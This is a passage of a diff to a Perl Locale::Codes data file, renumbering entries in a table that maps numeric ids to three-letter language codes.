+      q(5224) => q(okk),
+      q(5225) => q(okl),
+      q(5226) => q(okm),
+      q(5227) => q(okn),
+      q(5228) => q(oko),
+      q(5229) => q(okr),
+      q(5230) => q(oks),
+      q(5231) => q(oku),
+      q(5232) => q(okv),
+      q(5233) => q(okx),
+      q(5234) => q(ola),
+      q(5235) => q(old),
+      q(5236) => q(ole),
+      q(5237) => q(olk),
+      q(5238) => q(olm),
+      q(5239) => q(olo),
+      q(5240) => q(olr),
+      q(5241) => q(olt),
+      q(5242) => q(olu),
+      q(5243) => q(oma),
+      q(5244) => q(omb),
+      q(5245) => q(omc),
+      q(5246) => q(omg),
+      q(5247) => q(omi),
+      q(5248) => q(omk),
+      q(5249) => q(oml),
+      q(5250) => q(omn),
+      q(5251) => q(omo),
+      q(5252) => q(omp),
+      q(5253) => q(omr),
+      q(5254) => q(omt),
+      q(5255) => q(omu),
+      q(5256) => q(omw),
+      q(5257) => q(omx),
+      q(5258) => q(ona),
+      q(5259) => q(onb),
+      q(5260) => q(one),
+      q(5261) => q(ong),
+      q(5262) => q(oni),
+      q(5263) => q(onj),
+      q(5264) => q(onk),
+      q(5265) => q(onn),
+      q(5266) => q(ono),
+      q(5267) => q(onp),
+      q(5268) => q(onr),
+      q(5269) => q(ons),
+      q(5270) => q(ont),
+      q(5271) => q(onu),
+      q(5272) => q(onw),
+      q(5273) => q(onx),
+      q(5274) => q(ood),
+      q(5275) => q(oog),
+      q(5276) => q(oon),
+      q(5277) => q(oor),
+      q(5278) => q(oos),
+      q(5279) => q(opa),
+      q(5280) => q(opk),
+      q(5281) => q(opm),
+      q(5282) => q(opo),
+      q(5283) => q(opt),
+      q(5284) => q(opy),
+      q(5285) => q(ora),
+      q(5286) => q(orc),
+      q(5287) => q(ore),
+      q(5288) => q(org),
+      q(5289) => q(orh),
+      q(5290) => q(orn),
+      q(5291) => q(oro),
+      q(5292) => q(orr),
+      q(5293) => q(ors),
+      q(5294) => q(ort),
+      q(5295) => q(oru),
+      q(5296) => q(orv),
+      q(5297) => q(orw),
+      q(5298) => q(orx),
+      q(5299) => q(ory),
+      q(5300) => q(orz),
+      q(5301) => q(osc),
+      q(5302) => q(osi),
+      q(5303) => q(oso),
+      q(5304) => q(osp),
+      q(5305) => q(ost),
+      q(5306) => q(osu),
+      q(5307) => q(osx),
+      q(5308) => q(otb),
+      q(5309) => q(otd),
+      q(5310) => q(ote),
+      q(5311) => q(oti),
+      q(5312) => q(otk),
+      q(5313) => q(otl),
+      q(5314) => q(otm),
+      q(5315) => q(otn),
+      q(5316) => q(otq),
+      q(5317) => q(otr),
+      q(5318) => q(ots),
+      q(5319) => q(ott),
+      q(5320) => q(otu),
+      q(5321) => q(otw),
+      q(5322) => q(otx),
+      q(5323) => q(oty),
+      q(5324) => q(otz),
+      q(5325) => q(oua),
+      q(5326) => q(oub),
+      q(5327) => q(oue),
+      q(5328) => q(oui),
+      q(5329) => q(oum),
+      q(5330) => q(ovd),
+      q(5331) => q(owi),
+      q(5332) => q(owl),
+      q(5333) => q(oyb),
+      q(5334) => q(oyd),
+      q(5335) => q(oym),
+      q(5336) => q(oyy),
+      q(5337) => q(ozm),
+      q(5338) => q(pab),
+      q(5339) => q(pac),
+      q(5340) => q(pad),
+      q(5341) => q(pae),
+      q(5342) => q(paf),
+      q(5343) => q(pah),
+      q(5344) => q(pai),
+      q(5345) => q(pak),
+      q(5346) => q(pao),
+      q(5347) => q(paq),
+      q(5348) => q(par),
+      q(5349) => q(pas),
+      q(5350) => q(pat),
+      q(5351) => q(pav),
+      q(5352) => q(paw),
+      q(5353) => q(pax),
+      q(5354) => q(pay),
+      q(5355) => q(paz),
+      q(5356) => q(pbb),
+      q(5357) => q(pbc),
+      q(5358) => q(pbe),
+      q(5359) => q(pbf),
+      q(5360) => q(pbg),
+      q(5361) => q(pbh),
+      q(5362) => q(pbi),
+      q(5363) => q(pbl),
+      q(5364) => q(pbn),
+      q(5365) => q(pbo),
+      q(5366) => q(pbp),
+      q(5367) => q(pbr),
+      q(5368) => q(pbs),
+      q(5369) => q(pbt),
+      q(5370) => q(pbu),
+      q(5371) => q(pbv),
+      q(5372) => q(pby),
+      q(5373) => q(pca),
+      q(5374) => q(pcb),
+      q(5375) => q(pcc),
+      q(5376) => q(pcd),
+      q(5377) => q(pce),
+      q(5378) => q(pcf),
+      q(5379) => q(pcg),
+      q(5380) => q(pch),
+      q(5381) => q(pci),
+      q(5382) => q(pcj),
+      q(5383) => q(pck),
+      q(5384) => q(pcl),
+      q(5385) => q(pcm),
+      q(5386) => q(pcn),
+      q(5387) => q(pcp),
+      q(5388) => q(pcw),
+      q(5389) => q(pda),
+      q(5390) => q(pdc),
+      q(5391) => q(pdi),
+      q(5392) => q(pdn),
+      q(5393) => q(pdo),
+      q(5394) => q(pdt),
+      q(5395) => q(pdu),
+      q(5396) => q(pea),
+      q(5397) => q(peb),
+      q(5398) => q(ped),
+      q(5399) => q(pee),
+      q(5400) => q(pef),
+      q(5401) => q(peg),
+      q(5402) => q(peh),
+      q(5403) => q(pei),
+      q(5404) => q(pej),
+      q(5405) => q(pek),
+      q(5406) => q(pel),
+      q(5407) => q(pem),
+      q(5408) => q(pep),
+      q(5409) => q(peq),
+      q(5410) => q(pes),
+      q(5411) => q(pev),
+      q(5412) => q(pex),
+      q(5413) => q(pey),
+      q(5414) => q(pez),
+      q(5415) => q(pfa),
+      q(5416) => q(pfe),
+      q(5417) => q(pfl),
+      q(5418) => q(pga),
+      q(5419) => q(pgd),
+      q(5420) => q(pgg),
+      q(5421) => q(pgi),
+      q(5422) => q(pgk),
+      q(5423) => q(pgl),
+      q(5424) => q(pgn),
+      q(5425) => q(pgs),
+      q(5426) => q(pgu),
+      q(5427) => q(pgz),
+      q(5428) => q(pha),
+      q(5429) => q(phd),
+      q(5430) => q(phg),
+      q(5431) => q(phh),
+      q(5432) => q(phk),
+      q(5433) => q(phl),
+      q(5434) => q(phm),
+      q(5435) => q(pho),
+      q(5436) => q(phq),
+      q(5437) => q(phr),
+      q(5438) => q(pht),
+      q(5439) => q(phu),
+      q(5440) => q(phv),
+      q(5441) => q(phw),
+      q(5442) => q(pia),
+      q(5443) => q(pib),
+      q(5444) => q(pic),
+      q(5445) => q(pid),
+      q(5446) => q(pie),
+      q(5447) => q(pif),
+      q(5448) => q(pig),
+      q(5449) => q(pih),
+      q(5450) => q(pii),
+      q(5451) => q(pij),
+      q(5452) => q(pil),
+      q(5453) => q(pim),
+      q(5454) => q(pin),
+      q(5455) => q(pio),
+      q(5456) => q(pip),
+      q(5457) => q(pir),
+      q(5458) => q(pis),
+      q(5459) => q(pit),
+      q(5460) => q(piu),
+      q(5461) => q(piv),
+      q(5462) => q(piw),
+      q(5463) => q(pix),
+      q(5464) => q(piy),
+      q(5465) => q(piz),
+      q(5466) => q(pjt),
+      q(5467) => q(pka),
+      q(5468) => q(pkb),
+      q(5469) => q(pkc),
+      q(5470) => q(pkg),
+      q(5471) => q(pkh),
+      q(5472) => q(pkn),
+      q(5473) => q(pko),
+      q(5474) => q(pkp),
+      q(5475) => q(pkr),
+      q(5476) => q(pks),
+      q(5477) => q(pkt),
+      q(5478) => q(pku),
+      q(5479) => q(pla),
+      q(5480) => q(plb),
+      q(5481) => q(plc),
+      q(5482) => q(pld),
+      q(5483) => q(ple),
+      q(5484) => q(plg),
+      q(5485) => q(plh),
+      q(5486) => q(plj),
+      q(5487) => q(plk),
+      q(5488) => q(pll),
+      q(5489) => q(pln),
+      q(5490) => q(plo),
+      q(5491) => q(plp),
+      q(5492) => q(plq),
+      q(5493) => q(plr),
+      q(5494) => q(pls),
+      q(5495) => q(plt),
+      q(5496) => q(plu),
+      q(5497) => q(plv),
+      q(5498) => q(plw),
+      q(5499) => q(ply),
+      q(5500) => q(plz),
+      q(5501) => q(pma),
+      q(5502) => q(pmb),
+      q(5503) => q(pmd),
+      q(5504) => q(pme),
+      q(5505) => q(pmf),
+      q(5506) => q(pmh),
+      q(5507) => q(pmi),
+      q(5508) => q(pmj),
+      q(5509) => q(pmk),
+      q(5510) => q(pml),
+      q(5511) => q(pmm),
+      q(5512) => q(pmn),
+      q(5513) => q(pmo),
+      q(5514) => q(pmq),
+      q(5515) => q(pmr),
+      q(5516) => q(pms),
+      q(5517) => q(pmt),
+      q(5518) => q(pmw),
+      q(5519) => q(pmx),
+      q(5520) => q(pmy),
+      q(5521) => q(pmz),
+      q(5522) => q(pna),
+      q(5523) => q(pnb),
+      q(5524) => q(pnc),
+      q(5525) => q(pne),
+      q(5526) => q(png),
+      q(5527) => q(pnh),
+      q(5528) => q(pni),
+      q(5529) => q(pnj),
+      q(5530) => q(pnk),
+      q(5531) => q(pnl),
+      q(5532) => q(pnm),
+      q(5533) => q(pnn),
+      q(5534) => q(pno),
+      q(5535) => q(pnp),
+      q(5536) => q(pnq),
+      q(5537) => q(pnr),
+      q(5538) => q(pns),
+      q(5539) => q(pnt),
+      q(5540) => q(pnu),
+      q(5541) => q(pnv),
+      q(5542) => q(pnw),
+      q(5543) => q(pnx),
+      q(5544) => q(pny),
+      q(5545) => q(pnz),
+      q(5546) => q(poc),
+      q(5547) => q(poe),
+      q(5548) => q(pof),
+      q(5549) => q(pog),
+      q(5550) => q(poh),
+      q(5551) => q(poi),
+      q(5552) => q(pok),
+      q(5553) => q(pom),
+      q(5554) => q(poo),
+      q(5555) => q(pop),
+      q(5556) => q(poq),
+      q(5557) => q(pos),
+      q(5558) => q(pot),
+      q(5559) => q(pov),
+      q(5560) => q(pow),
+      q(5561) => q(pox),
+      q(5562) => q(poy),
+      q(5563) => q(ppe),
+      q(5564) => q(ppi),
+      q(5565) => q(ppk),
+      q(5566) => q(ppl),
+      q(5567) => q(ppm),
+      q(5568) => q(ppn),
+      q(5569) => q(ppo),
+      q(5570) => q(ppp),
+      q(5571) => q(ppq),
+      q(5572) => q(pps),
+      q(5573) => q(ppt),
+      q(5574) => q(ppu),
+      q(5575) => q(pqa),
+      q(5576) => q(pqm),
+      q(5577) => q(prb),
+      q(5578) => q(prc),
+      q(5579) => q(prd),
+      q(5580) => q(pre),
+      q(5581) => q(prf),
+      q(5582) => q(prg),
+      q(5583) => q(prh),
+      q(5584) => q(pri),
+      q(5585) => q(prk),
+      q(5586) => q(prl),
+      q(5587) => q(prm),
+      q(5588) => q(prn),
+      q(5589) => q(prp),
+      q(5590) => q(prq),
+      q(5591) => q(prr),
+      q(5592) => q(prs),
+      q(5593) => q(prt),
+      q(5594) => q(pru),
+      q(5595) => q(prw),
+      q(5596) => q(prx),
+      q(5597) => q(prz),
+      q(5598) => q(psa),
+      q(5599) => q(psc),
+      q(5600) => q(psd),
+      q(5601) => q(pse),
+      q(5602) => q(psg),
+      q(5603) => q(psh),
+      q(5604) => q(psi),
+      q(5605) => q(psl),
+      q(5606) => q(psm),
+      q(5607) => q(psn),
+      q(5608) => q(pso),
+      q(5609) => q(psp),
+      q(5610) => q(psq),
+      q(5611) => q(psr),
+      q(5612) => q(pss),
+      q(5613) => q(pst),
+      q(5614) => q(psu),
+      q(5615) => q(psw),
+      q(5616) => q(psy),
+      q(5617) => q(pta),
+      q(5618) => q(pth),
+      q(5619) => q(pti),
+      q(5620) => q(ptn),
+      q(5621) => q(pto),
+      q(5622) => q(ptp),
+      q(5623) => q(ptq),
+      q(5624) => q(ptr),
+      q(5625) => q(ptt),
+      q(5626) => q(ptu),
+      q(5627) => q(ptv),
+      q(5628) => q(ptw),
+      q(5629) => q(pty),
+      q(5630) => q(pua),
+      q(5631) => q(pub),
+      q(5632) => q(puc),
+      q(5633) => q(pud),
+      q(5634) => q(pue),
+      q(5635) => q(puf),
+      q(5636) => q(pug),
+      q(5637) => q(pui),
+      q(5638) => q(puj),
+      q(5639) => q(puk),
+      q(5640) => q(pum),
+      q(5641) => q(puo),
+      q(5642) => q(pup),
+      q(5643) => q(puq),
+      q(5644) => q(pur),
+      q(5645) => q(put),
+      q(5646) => q(puu),
+      q(5647) => q(puw),
+      q(5648) => q(pux),
+      q(5649) => q(puy),
+      q(5650) => q(pwa),
+      q(5651) => q(pwb),
+      q(5652) => q(pwg),
+      q(5653) => q(pwi),
+      q(5654) => q(pwm),
+      q(5655) => q(pwn),
+      q(5656) => q(pwo),
+      q(5657) => q(pwr),
+      q(5658) => q(pww),
+      q(5659) => q(pxm),
+      q(5660) => q(pye),
+      q(5661) => q(pym),
+      q(5662) => q(pyn),
+      q(5663) => q(pys),
+      q(5664) => q(pyu),
+      q(5665) => q(pyx),
+      q(5666) => q(pyy),
+      q(5667) => q(pzn),
+      q(5668) => q(qua),
+      q(5669) => q(qub),
+      q(5670) => q(quc),
+      q(5671) => q(qud),
+      q(5672) => q(quf),
+      q(5673) => q(qug),
+      q(5674) => q(quh),
+      q(5675) => q(qui),
+      q(5676) => q(quk),
+      q(5677) => q(qul),
+      q(5678) => q(qum),
+      q(5679) => q(qun),
+      q(5680) => q(qup),
+      q(5681) => q(quq),
+      q(5682) => q(qur),
+      q(5683) => q(qus),
+      q(5684) => q(quv),
+      q(5685) => q(quw),
+      q(5686) => q(qux),
+      q(5687) => q(quy),
+      q(5688) => q(quz),
+      q(5689) => q(qva),
+      q(5690) => q(qvc),
+      q(5691) => q(qve),
+      q(5692) => q(qvh),
+      q(5693) => q(qvi),
+      q(5694) => q(qvj),
+      q(5695) => q(qvl),
+      q(5696) => q(qvm),
+      q(5697) => q(qvn),
+      q(5698) => q(qvo),
+      q(5699) => q(qvp),
+      q(5700) => q(qvs),
+      q(5701) => q(qvw),
+      q(5702) => q(qvy),
+      q(5703) => q(qvz),
+      q(5704) => q(qwa),
+      q(5705) => q(qwc),
+      q(5706) => q(qwh),
+      q(5707) => q(qwm),
+      q(5708) => q(qws),
+      q(5709) => q(qwt),
+      q(5710) => q(qxa),
+      q(5711) => q(qxc),
+      q(5712) => q(qxh),
+      q(5713) => q(qxl),
+      q(5714) => q(qxn),
+      q(5715) => q(qxo),
+      q(5716) => q(qxp),
+      q(5717) => q(qxq),
+      q(5718) => q(qxr),
+      q(5719) => q(qxs),
+      q(5720) => q(qxt),
+      q(5721) => q(qxu),
+      q(5722) => q(qxw),
+      q(5723) => q(qya),
+      q(5724) => q(qyp),
+      q(5725) => q(raa),
+      q(5726) => q(rab),
+      q(5727) => q(rac),
+      q(5728) => q(rad),
+      q(5729) => q(raf),
+      q(5730) => q(rag),
+      q(5731) => q(rah),
+      q(5732) => q(rai),
+      q(5733) => q(rak),
+      q(5734) => q(ral),
+      q(5735) => q(ram),
+      q(5736) => q(ran),
+      q(5737) => q(rao),
+      q(5738) => q(raq),
+      q(5739) => q(ras),
+      q(5740) => q(rat),
+      q(5741) => q(rau),
+      q(5742) => q(rav),
+      q(5743) => q(raw),
+      q(5744) => q(rax),
+      q(5745) => q(ray),
+      q(5746) => q(raz),
+      q(5747) => q(rbb),
+      q(5748) => q(rbk),
+      q(5749) => q(rbl),
+      q(5750) => q(rbp),
+      q(5751) => q(rcf),
+      q(5752) => q(rdb),
+      q(5753) => q(rea),
+      q(5754) => q(reb),
+      q(5755) => q(ree),
+      q(5756) => q(reg),
+      q(5757) => q(rei),
+      q(5758) => q(rej),
+      q(5759) => q(rel),
+      q(5760) => q(rem),
+      q(5761) => q(ren),
+      q(5762) => q(rer),
+      q(5763) => q(res),
+      q(5764) => q(ret),
+      q(5765) => q(rey),
+      q(5766) => q(rga),
+      q(5767) => q(rge),
+      q(5768) => q(rgk),
+      q(5769) => q(rgn),
+      q(5770) => q(rgr),
+      q(5771) => q(rgs),
+      q(5772) => q(rgu),
+      q(5773) => q(rhg),
+      q(5774) => q(rhp),
+      q(5775) => q(ria),
+      q(5776) => q(rie),
+      q(5777) => q(rif),
+      q(5778) => q(ril),
+      q(5779) => q(rim),
+      q(5780) => q(rin),
+      q(5781) => q(rir),
+      q(5782) => q(rit),
+      q(5783) => q(riu),
+      q(5784) => q(rjg),
+      q(5785) => q(rji),
+      q(5786) => q(rjs),
+      q(5787) => q(rka),
+      q(5788) => q(rkb),
+      q(5789) => q(rkh),
+      q(5790) => q(rki),
+      q(5791) => q(rkm),
+      q(5792) => q(rkt),
+      q(5793) => q(rkw),
+      q(5794) => q(rma),
+      q(5795) => q(rmb),
+      q(5796) => q(rmc),
+      q(5797) => q(rmd),
+      q(5798) => q(rme),
+      q(5799) => q(rmf),
+      q(5800) => q(rmg),
+      q(5801) => q(rmh),
+      q(5802) => q(rmi),
+      q(5803) => q(rmk),
+      q(5804) => q(rml),
+      q(5805) => q(rmm),
+      q(5806) => q(rmn),
+      q(5807) => q(rmo),
+      q(5808) => q(rmp),
+      q(5809) => q(rmq),
+      q(5810) => q(rms),
+      q(5811) => q(rmt),
+      q(5812) => q(rmu),
+      q(5813) => q(rmv),
+      q(5814) => q(rmw),
+      q(5815) => q(rmx),
+      q(5816) => q(rmy),
+      q(5817) => q(rmz),
+      q(5818) => q(rnd),
+      q(5819) => q(rng),
+      q(5820) => q(rnl),
+      q(5821) => q(rnn),
+      q(5822) => q(rnp),
+      q(5823) => q(rnr),
+      q(5824) => q(rnw),
+      q(5825) => q(rob),
+      q(5826) => q(roc),
+      q(5827) => q(rod),
+      q(5828) => q(roe),
+      q(5829) => q(rof),
+      q(5830) => q(rog),
+      q(5831) => q(rol),
+      q(5832) => q(roo),
+      q(5833) => q(rop),
+      q(5834) => q(ror),
+      q(5835) => q(rou),
+      q(5836) => q(row),
+      q(5837) => q(rpn),
+      q(5838) => q(rpt),
+      q(5839) => q(rri),
+      q(5840) => q(rro),
+      q(5841) => q(rrt),
+      q(5842) => q(rsb),
+      q(5843) => q(rsi),
       q(5844) => q(rsl),
       q(5845) => q(rsm),
       q(5846) => q(rtc),
@@ -98233,149 +98151,149 @@ $Locale::Codes::Data{'language'}{'id2code'} = {
       q(5926) => q(scp),
       q(5927) => q(scq),
       q(5928) => q(scs),
-      q(5929) => q(sct),
-      q(5930) => q(scu),
-      q(5931) => q(scv),
-      q(5932) => q(scw),
-      q(5933) => q(scx),
-      q(5934) => q(sda),
-      q(5935) => q(sdb),
-      q(5936) => q(sdc),
-      q(5937) => q(sde),
-      q(5938) => q(sdf),
-      q(5939) => q(sdg),
-      q(5940) => q(sdh),
-      q(5941) => q(sdj),
-      q(5942) => q(sdk),
-      q(5943) => q(sdl),
-      q(5944) => q(sdm),
-      q(5945) => q(sdn),
-      q(5946) => q(sdo),
-      q(5947) => q(sdp),
-      q(5948) => q(sdr),
-      q(5949) => q(sds),
-      q(5950) => q(sdt),
-      q(5951) => q(sdu),
-      q(5952) => q(sdx),
-      q(5953) => q(sdz),
-      q(5954) => q(sea),
-      q(5955) => q(seb),
-      q(5956) => q(sec),
-      q(5957) => q(sed),
-      q(5958) => q(see),
-      q(5959) => q(sef),
-      q(5960) => q(seg),
-      q(5961) => q(seh),
-      q(5962) => q(sei),
-      q(5963) => q(sej),
-      q(5964) => q(sek),
-      q(5965) => q(sen),
-      q(5966) => q(seo),
-      q(5967) => q(sep),
-      q(5968) => q(seq),
-      q(5969) => q(ser),
-      q(5970) => q(ses),
-      q(5971) => q(set),
-      q(5972) => q(seu),
-      q(5973) => q(sev),
-      q(5974) => q(sew),
-      q(5975) => q(sey),
-      q(5976) => q(sez),
-      q(5977) => q(sfb),
-      q(5978) => q(sfe),
-      q(5979) => q(sfm),
-      q(5980) => q(sfs),
-      q(5981) => q(sfw),
-      q(5982) => q(sgb),
-      q(5983) => q(sgc),
-      q(5984) => q(sgd),
-      q(5985) => q(sge),
-      q(5986) => q(sgg),
-      q(5987) => q(sgh),
-      q(5988) => q(sgi),
-      q(5989) => q(sgj),
-      q(5990) => q(sgk),
-      q(5991) => q(sgm),
-      q(5992) => q(sgp),
-      q(5993) => q(sgr),
-      q(5994) => q(sgs),
-      q(5995) => q(sgt),
-      q(5996) => q(sgu),
-      q(5997) => q(sgw),
-      q(5998) => q(sgx),
-      q(5999) => q(sgy),
-      q(6000) => q(sgz),
-      q(6001) => q(sha),
-      q(6002) => q(shb),
-      q(6003) => q(shc),
-      q(6004) => q(shd),
-      q(6005) => q(she),
-      q(6006) => q(shg),
-      q(6007) => q(shh),
-      q(6008) => q(shi),
-      q(6009) => q(shj),
-      q(6010) => q(shk),
-      q(6011) => q(shl),
-      q(6012) => q(shm),
-      q(6013) => q(sho),
-      q(6014) => q(shp),
-      q(6015) => q(shq),
-      q(6016) => q(shr),
-      q(6017) => q(shs),
-      q(6018) => q(sht),
-      q(6019) => q(shu),
-      q(6020) => q(shv),
-      q(6021) => q(shw),
-      q(6022) => q(shx),
-      q(6023) => q(shy),
-      q(6024) => q(shz),
-      q(6025) => q(sia),
-      q(6026) => q(sib),
-      q(6027) => q(sie),
-      q(6028) => q(sif),
-      q(6029) => q(sig),
-      q(6030) => q(sih),
-      q(6031) => q(sii),
-      q(6032) => q(sij),
-      q(6033) => q(sik),
-      q(6034) => q(sil),
-      q(6035) => q(sim),
-      q(6036) => q(sip),
-      q(6037) => q(siq),
-      q(6038) => q(sir),
-      q(6039) => q(sis),
-      q(6040) => q(siu),
-      q(6041) => q(siv),
-      q(6042) => q(siw),
-      q(6043) => q(six),
-      q(6044) => q(siy),
-      q(6045) => q(siz),
-      q(6046) => q(sja),
-      q(6047) => q(sjb),
-      q(6048) => q(sjd),
-      q(6049) => q(sje),
-      q(6050) => q(sjg),
-      q(6051) => q(sjk),
-      q(6052) => q(sjl),
-      q(6053) => q(sjm),
-      q(6054) => q(sjn),
-      q(6055) => q(sjo),
-      q(6056) => q(sjp),
-      q(6057) => q(sjr),
-      q(6058) => q(sjs),
-      q(6059) => q(sjt),
-      q(6060) => q(sju),
-      q(6061) => q(sjw),
-      q(6062) => q(ska),
-      q(6063) => q(skb),
-      q(6064) => q(skc),
-      q(6065) => q(skd),
-      q(6066) => q(ske),
-      q(6067) => q(skf),
-      q(6068) => q(skg),
-      q(6069) => q(skh),
-      q(6070) => q(ski),
-      q(6071) => q(skj),
+      q(5929) => q(scu),
+      q(5930) => q(scv),
+      q(5931) => q(scw),
+      q(5932) => q(scx),
+      q(5933) => q(sda),
+      q(5934) => q(sdb),
+      q(5935) => q(sdc),
+      q(5936) => q(sde),
+      q(5937) => q(sdf),
+      q(5938) => q(sdg),
+      q(5939) => q(sdh),
+      q(5940) => q(sdj),
+      q(5941) => q(sdk),
+      q(5942) => q(sdl),
+      q(5943) => q(sdm),
+      q(5944) => q(sdn),
+      q(5945) => q(sdo),
+      q(5946) => q(sdp),
+      q(5947) => q(sdr),
+      q(5948) => q(sds),
+      q(5949) => q(sdt),
+      q(5950) => q(sdu),
+      q(5951) => q(sdx),
+      q(5952) => q(sdz),
+      q(5953) => q(sea),
+      q(5954) => q(seb),
+      q(5955) => q(sec),
+      q(5956) => q(sed),
+      q(5957) => q(see),
+      q(5958) => q(sef),
+      q(5959) => q(seg),
+      q(5960) => q(seh),
+      q(5961) => q(sei),
+      q(5962) => q(sej),
+      q(5963) => q(sek),
+      q(5964) => q(sen),
+      q(5965) => q(seo),
+      q(5966) => q(sep),
+      q(5967) => q(seq),
+      q(5968) => q(ser),
+      q(5969) => q(ses),
+      q(5970) => q(set),
+      q(5971) => q(seu),
+      q(5972) => q(sev),
+      q(5973) => q(sew),
+      q(5974) => q(sey),
+      q(5975) => q(sez),
+      q(5976) => q(sfb),
+      q(5977) => q(sfe),
+      q(5978) => q(sfm),
+      q(5979) => q(sfs),
+      q(5980) => q(sfw),
+      q(5981) => q(sgb),
+      q(5982) => q(sgc),
+      q(5983) => q(sgd),
+      q(5984) => q(sge),
+      q(5985) => q(sgg),
+      q(5986) => q(sgh),
+      q(5987) => q(sgi),
+      q(5988) => q(sgj),
+      q(5989) => q(sgk),
+      q(5990) => q(sgm),
+      q(5991) => q(sgp),
+      q(5992) => q(sgr),
+      q(5993) => q(sgs),
+      q(5994) => q(sgt),
+      q(5995) => q(sgu),
+      q(5996) => q(sgw),
+      q(5997) => q(sgx),
+      q(5998) => q(sgy),
+      q(5999) => q(sgz),
+      q(6000) => q(sha),
+      q(6001) => q(shb),
+      q(6002) => q(shc),
+      q(6003) => q(shd),
+      q(6004) => q(she),
+      q(6005) => q(shg),
+      q(6006) => q(shh),
+      q(6007) => q(shi),
+      q(6008) => q(shj),
+      q(6009) => q(shk),
+      q(6010) => q(shl),
+      q(6011) => q(shm),
+      q(6012) => q(sho),
+      q(6013) => q(shp),
+      q(6014) => q(shq),
+      q(6015) => q(shr),
+      q(6016) => q(shs),
+      q(6017) => q(sht),
+      q(6018) => q(shu),
+      q(6019) => q(shv),
+      q(6020) => q(shw),
+      q(6021) => q(shx),
+      q(6022) => q(shy),
+      q(6023) => q(shz),
+      q(6024) => q(sia),
+      q(6025) => q(sib),
+      q(6026) => q(sie),
+      q(6027) => q(sif),
+      q(6028) => q(sig),
+      q(6029) => q(sih),
+      q(6030) => q(sii),
+      q(6031) => q(sij),
+      q(6032) => q(sik),
+      q(6033) => q(sil),
+      q(6034) => q(sim),
+      q(6035) => q(sip),
+      q(6036) => q(siq),
+      q(6037) => q(sir),
+      q(6038) => q(sis),
+      q(6039) => q(siu),
+      q(6040) => q(siv),
+      q(6041) => q(siw),
+      q(6042) => q(six),
+      q(6043) => q(siy),
+      q(6044) => q(siz),
+      q(6045) => q(sja),
+      q(6046) => q(sjb),
+      q(6047) => q(sjd),
+      q(6048) => q(sje),
+      q(6049) => q(sjg),
+      q(6050) => q(sjk),
+      q(6051) => q(sjl),
+      q(6052) => q(sjm),
+      q(6053) => q(sjn),
+      q(6054) => q(sjo),
+      q(6055) => q(sjp),
+      q(6056) => q(sjr),
+      q(6057) => q(sjs),
+      q(6058) => q(sjt),
+      q(6059) => q(sju),
+      q(6060) => q(sjw),
+      q(6061) => q(ska),
+      q(6062) => q(skb),
+      q(6063) => q(skc),
+      q(6064) => q(skd),
+      q(6065) => q(ske),
+      q(6066) => q(skf),
+      q(6067) => q(skg),
+      q(6068) => q(skh),
+      q(6069) => q(ski),
+      q(6070) => q(skj),
+      q(6071) => q(skk),
       q(6072) => q(skm),
       q(6073) => q(skn),
       q(6074) => q(sko),
@@ -98434,221 +98352,221 @@ $Locale::Codes::Data{'language'}{'id2code'} = {
       q(6127) => q(sne),
       q(6128) => q(snf),
       q(6129) => q(sng),
-      q(6130) => q(sni),
-      q(6131) => q(snj),
-      q(6132) => q(snl),
-      q(6133) => q(snm),
-      q(6134) => q(snn),
-      q(6135) => q(sno),
-      q(6136) => q(snp),
-      q(6137) => q(snq),
-      q(6138) => q(snr),
-      q(6139) => q(sns),
-      q(6140) => q(snu),
-      q(6141) => q(snv),
-      q(6142) => q(snw),
-      q(6143) => q(snx),
-      q(6144) => q(sny),
-      q(6145) => q(snz),
-      q(6146) => q(soa),
-      q(6147) => q(sob),
-      q(6148) => q(soc),
-      q(6149) => q(sod),
-      q(6150) => q(soe),
-      q(6151) => q(soh),
-      q(6152) => q(soi),
-      q(6153) => q(soj),
-      q(6154) => q(sok),
-      q(6155) => q(sol),
-      q(6156) => q(soo),
-      q(6157) => q(sop),
-      q(6158) => q(soq),
-      q(6159) => q(sor),
-      q(6160) => q(sos),
-      q(6161) => q(sou),
-      q(6162) => q(sov),
-      q(6163) => q(sow),
-      q(6164) => q(sox),
-      q(6165) => q(soy),
-      q(6166) => q(soz),
-      q(6167) => q(spb),
-      q(6168) => q(spc),
-      q(6169) => q(spd),
-      q(6170) => q(spe),
-      q(6171) => q(spg),
-      q(6172) => q(spi),
-      q(6173) => q(spk),
-      q(6174) => q(spl),
-      q(6175) => q(spm),
-      q(6176) => q(spn),
-      q(6177) => q(spo),
-      q(6178) => q(spp),
-      q(6179) => q(spq),
-      q(6180) => q(spr),
-      q(6181) => q(sps),
-      q(6182) => q(spt),
-      q(6183) => q(spu),
-      q(6184) => q(spv),
-      q(6185) => q(spx),
-      q(6186) => q(spy),
-      q(6187) => q(sqa),
-      q(6188) => q(sqh),
-      q(6189) => q(sqk),
-      q(6190) => q(sqm),
-      q(6191) => q(sqn),
-      q(6192) => q(sqo),
-      q(6193) => q(sqq),
-      q(6194) => q(sqr),
-      q(6195) => q(sqs),
-      q(6196) => q(sqt),
-      q(6197) => q(squ),
-      q(6198) => q(sra),
-      q(6199) => q(srb),
-      q(6200) => q(src),
-      q(6201) => q(sre),
-      q(6202) => q(srf),
-      q(6203) => q(srg),
-      q(6204) => q(srh),
-      q(6205) => q(sri),
-      q(6206) => q(srk),
-      q(6207) => q(srl),
-      q(6208) => q(srm),
-      q(6209) => q(sro),
-      q(6210) => q(srq),
-      q(6211) => q(srs),
-      q(6212) => q(srt),
-      q(6213) => q(sru),
-      q(6214) => q(srv),
-      q(6215) => q(srw),
-      q(6216) => q(srx),
-      q(6217) => q(sry),
-      q(6218) => q(srz),
-      q(6219) => q(ssb),
-      q(6220) => q(ssc),
-      q(6221) => q(ssd),
-      q(6222) => q(sse),
-      q(6223) => q(ssf),
-      q(6224) => q(ssg),
-      q(6225) => q(ssh),
-      q(6226) => q(ssi),
-      q(6227) => q(ssj),
-      q(6228) => q(ssk),
-      q(6229) => q(ssl),
-      q(6230) => q(ssm),
-      q(6231) => q(ssn),
-      q(6232) => q(sso),
-      q(6233) => q(ssp),
-      q(6234) => q(ssq),
-      q(6235) => q(ssr),
-      q(6236) => q(sss),
-      q(6237) => q(sst),
-      q(6238) => q(ssu),
-      q(6239) => q(ssv),
-      q(6240) => q(ssx),
-      q(6241) => q(ssy),
-      q(6242) => q(ssz),
-      q(6243) => q(sta),
-      q(6244) => q(stb),
-      q(6245) => q(std),
-      q(6246) => q(ste),
-      q(6247) => q(stf),
-      q(6248) => q(stg),
-      q(6249) => q(sth),
-      q(6250) => q(sti),
-      q(6251) => q(stj),
-      q(6252) => q(stk),
-      q(6253) => q(stl),
